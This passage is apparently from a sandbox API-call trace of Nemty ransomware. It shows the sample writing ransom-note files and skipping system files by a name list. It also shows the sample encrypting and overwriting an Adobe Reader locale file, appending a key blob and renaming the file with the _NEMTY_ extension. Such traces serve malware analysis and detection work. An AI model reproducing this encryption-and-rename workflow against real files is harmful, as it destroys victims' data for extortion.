lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0185.209] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="uk_UA", cchWideChar=5, lpMultiByteStr=0x653ebd0, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="uk_UA", lpUsedDefaultChar=0x0) returned 5 [0185.209] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="uk_UA", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0185.209] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="uk_UA", cchWideChar=5, lpMultiByteStr=0x653ebd0, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="uk_UA", lpUsedDefaultChar=0x0) returned 5 [0185.209] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94178 [0185.209] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94200 | out: hHeap=0x4f90000) returned 1 [0185.209] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94200 [0185.209] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0185.209] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0185.209] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0185.209] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ecb8, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0185.209] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0185.209] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0185.209] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94288 [0185.210] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0185.210] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x4f94330 [0185.210] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94288 | out: hHeap=0x4f90000) returned 1 [0185.210] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\uk_UA\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\uk_ua\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x254 [0185.212] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94330 | out: hHeap=0x4f90000) returned 1 [0185.212] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0185.212] WriteFile (in: hFile=0x254, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653eb80, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653eb80*=0xef8, lpOverlapped=0x0) returned 1 [0185.213] CloseHandle (hObject=0x254) returned 1 [0185.213] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0185.213] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94200 | out: hHeap=0x4f90000) returned 1 [0185.213] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94200 [0185.213] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94288 [0185.213] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94310 [0185.213] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0185.213] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0185.213] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0185.213] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0185.213] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0185.213] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0185.213] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0185.214] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0185.214] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63400f0 [0185.214] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0185.214] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\uk_UA\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\uk_ua\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x254 [0185.214] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0185.214] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0185.214] WriteFile (in: hFile=0x254, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653e840, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653e840*=0xef8, lpOverlapped=0x0) returned 1 [0185.215] CloseHandle (hObject=0x254) returned 1 [0185.215] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0185.215] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0185.215] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0185.215] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\uk_UA\\*.*", lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d795840, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x220908b0, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x220908b0, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName=".", cAlternateFileName="")) returned 0x3423ab0 [0185.215] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0185.215] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d795840, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x220908b0, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x220908b0, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="..", cAlternateFileName="")) returned 1 [0185.216] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0185.216] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0185.216] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7db4daa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xb000, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="Accessibility.UKR", cAlternateFileName="ACCESS~1.UKR")) returned 1 [0185.216] lstrcmpiW (lpString1="Accessibility.UKR", lpString2=".") returned 1 [0185.216] lstrcmpiW (lpString1="Accessibility.UKR", lpString2="..") returned 1 [0185.216] lstrcmpiW (lpString1="Accessibility.UKR", lpString2="...") returned 1 [0185.216] lstrcmpiW (lpString1="Accessibility.UKR", lpString2="windows") returned -1 [0185.216] lstrcmpiW (lpString1="Accessibility.UKR", lpString2="$RECYCLE.BIN") returned 1 [0185.216] lstrcmpiW (lpString1="Accessibility.UKR", lpString2="rsa") returned -1 [0185.216] lstrcmpiW (lpString1="Accessibility.UKR", lpString2="NTDETECT.COM") returned -1 [0185.216] lstrcmpiW (lpString1="Accessibility.UKR", lpString2="ntldr") returned -1 [0185.216] lstrcmpiW (lpString1="Accessibility.UKR", lpString2="MSDOS.SYS") returned -1 [0185.216] lstrcmpiW (lpString1="Accessibility.UKR", lpString2="IO.SYS") returned -1 [0185.216] lstrcmpiW (lpString1="Accessibility.UKR", lpString2="boot.ini") returned -1 [0185.216] lstrcmpiW (lpString1="Accessibility.UKR", lpString2="boot.ini") returned -1 [0185.216] lstrcmpiW (lpString1="Accessibility.UKR", lpString2="AUTOEXEC.BAT") returned -1 [0185.216] lstrcmpiW (lpString1="Accessibility.UKR", lpString2="ntuser.dat") returned -1 [0185.216] lstrcmpiW (lpString1="Accessibility.UKR", lpString2="desktop.ini") returned -1 [0185.216] lstrcmpiW (lpString1="Accessibility.UKR", lpString2="CONFIG.SYS") returned -1 [0185.216] lstrcmpiW (lpString1="Accessibility.UKR", lpString2="RECYCLER") returned -1 [0185.216] lstrcmpiW (lpString1="Accessibility.UKR", lpString2="BOOTSECT.BAK") returned -1 [0185.216] lstrcmpiW (lpString1="Accessibility.UKR", lpString2="bootmgr") returned -1 [0185.216] lstrcmpiW (lpString1="Accessibility.UKR", lpString2="programdata") returned -1 [0185.216] lstrcmpiW (lpString1="Accessibility.UKR", lpString2="appdata") returned -1 [0185.216] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0185.216] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Accessibility.UKR", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0185.216] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0185.217] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Accessibility.UKR", cchWideChar=17, lpMultiByteStr=0x4f9ecb8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Accessibility.UKR", lpUsedDefaultChar=0x0) returned 17 [0185.217] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0185.217] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0185.217] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Accessibility.UKR", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0185.217] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0185.217] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Accessibility.UKR", cchWideChar=17, lpMultiByteStr=0x4f9ecb8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Accessibility.UKR", lpUsedDefaultChar=0x0) returned 17 [0185.217] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0185.217] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0185.217] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0185.217] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0185.217] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Accessibility.UKR", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0185.217] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0185.217] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Accessibility.UKR", cchWideChar=17, lpMultiByteStr=0x4f9ecb8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Accessibility.UKR", lpUsedDefaultChar=0x0) returned 17 [0185.217] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0185.217] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0185.217] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Accessibility.UKR", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0185.217] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0185.217] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Accessibility.UKR", cchWideChar=17, lpMultiByteStr=0x4f9ed08, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Accessibility.UKR", lpUsedDefaultChar=0x0) returned 17 [0185.217] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0185.217] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0185.217] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0185.217] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0185.217] Sleep (dwMilliseconds=0x5) [0185.239] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x220dcb70, dwHighDateTime=0x1d561e8)) [0185.239] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x220dcb70, dwHighDateTime=0x1d561e8)) [0185.239] GetLastError () returned 0xb7 [0185.239] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0185.239] GetLastError () returned 0xb7 [0185.239] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0185.239] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0185.239] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0185.239] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0185.239] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0185.239] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0185.240] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0185.240] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e5dc | out: pszString="y6kWGwqQVB1vLN3hw3HuwCuqZy/nFvmyX1fOYAXlTfoo/H1dtYrncuShrfCS+YjW\r\n8MwD+qyMHsNG7uyHZFBoVIDA5E/MvgH5v21KFSZUNomJhU3vuR7np5/W4Od7vkUc\r\nqVL55+xoDTvYtHS+61NYimmA4I/NAqgHJF8wCrmKzorosUeoZuH3QUqI+x6Cp7o8\r\nlk4vo9SgVPBPW9Pr3P8SzhCpC3ixQOQ1i4dXGkVGLVRxTW4/f+rogrLnoGteTqqI\r\n1SVyRVe3DoXyBkqu71iSiyBlkFuCraOGktUKlDwjhtsy2jjmIShFCbDXSI59vsmh\r\nxVp0QU+oBg82RasT1R1TmA==\r\n", pcchString=0x653e5dc) returned 1 [0185.240] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0185.240] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0185.240] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0185.240] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0185.240] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0185.240] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0185.240] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\uk_UA\\Accessibility.UKR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\uk_ua\\accessibility.ukr"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0185.240] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=45056) returned 1 [0185.240] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb000) returned 0x6352c48 [0185.240] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0185.240] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0xb000, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0xb000, lpOverlapped=0x0) returned 1 [0185.245] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0185.245] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0xb000, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0xb000, lpOverlapped=0x0) returned 1 [0185.245] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0185.245] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=45056, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xb000 [0185.245] WriteFile (in: hFile=0x2e8, lpBuffer=0x63400f0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x63400f0*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0185.245] CloseHandle (hObject=0x2e8) returned 1 [0185.245] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0185.245] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0185.245] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0185.245] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed30, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0185.245] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0185.245] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0185.246] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0185.246] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63403b0 [0185.246] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0185.246] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0185.246] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\uk_UA\\Accessibility.UKR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\uk_ua\\accessibility.ukr"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\uk_UA\\Accessibility.UKR._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\uk_ua\\accessibility.ukr._nemty_kgobjgd_")) returned 1 [0185.246] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0185.246] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0185.246] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0185.246] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0185.246] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0185.246] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0185.246] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0185.246] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0185.246] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0185.246] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0185.246] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x830b2fe0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x65600, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="Acroform.UKR", cAlternateFileName="")) returned 1 [0185.247] lstrcmpiW (lpString1="Acroform.UKR", lpString2=".") returned 1 [0185.247] lstrcmpiW (lpString1="Acroform.UKR", lpString2="..") returned 1 [0185.247] lstrcmpiW (lpString1="Acroform.UKR", lpString2="...") returned 1 [0185.247] lstrcmpiW (lpString1="Acroform.UKR", lpString2="windows") returned -1 [0185.247] lstrcmpiW (lpString1="Acroform.UKR", lpString2="$RECYCLE.BIN") returned 1 [0185.247] lstrcmpiW (lpString1="Acroform.UKR", lpString2="rsa") returned -1 [0185.247] lstrcmpiW (lpString1="Acroform.UKR", lpString2="NTDETECT.COM") returned -1 [0185.247] lstrcmpiW (lpString1="Acroform.UKR", lpString2="ntldr") returned -1 [0185.247] lstrcmpiW (lpString1="Acroform.UKR", lpString2="MSDOS.SYS") returned -1 [0185.247] lstrcmpiW (lpString1="Acroform.UKR", lpString2="IO.SYS") returned -1 [0185.247] lstrcmpiW (lpString1="Acroform.UKR", lpString2="boot.ini") returned -1 [0185.247] lstrcmpiW (lpString1="Acroform.UKR", lpString2="boot.ini") returned -1 [0185.247] lstrcmpiW (lpString1="Acroform.UKR", lpString2="AUTOEXEC.BAT") returned -1 [0185.247] lstrcmpiW (lpString1="Acroform.UKR", lpString2="ntuser.dat") returned -1 [0185.247] lstrcmpiW (lpString1="Acroform.UKR", lpString2="desktop.ini") returned -1 [0185.247] lstrcmpiW (lpString1="Acroform.UKR", lpString2="CONFIG.SYS") returned -1 [0185.247] lstrcmpiW (lpString1="Acroform.UKR", lpString2="RECYCLER") returned -1 [0185.247] lstrcmpiW (lpString1="Acroform.UKR", lpString2="BOOTSECT.BAK") returned -1 [0185.247] lstrcmpiW (lpString1="Acroform.UKR", lpString2="bootmgr") returned -1 [0185.247] lstrcmpiW (lpString1="Acroform.UKR", lpString2="programdata") returned -1 [0185.247] lstrcmpiW (lpString1="Acroform.UKR", lpString2="appdata") returned -1 [0185.247] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0185.247] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Acroform.UKR", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0185.247] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Acroform.UKR", cchWideChar=12, lpMultiByteStr=0x653e890, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Acroform.UKR", lpUsedDefaultChar=0x0) returned 12 [0185.247] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0185.247] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Acroform.UKR", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0185.247] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Acroform.UKR", cchWideChar=12, lpMultiByteStr=0x653e890, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Acroform.UKR", lpUsedDefaultChar=0x0) returned 12 [0185.247] HeapFree 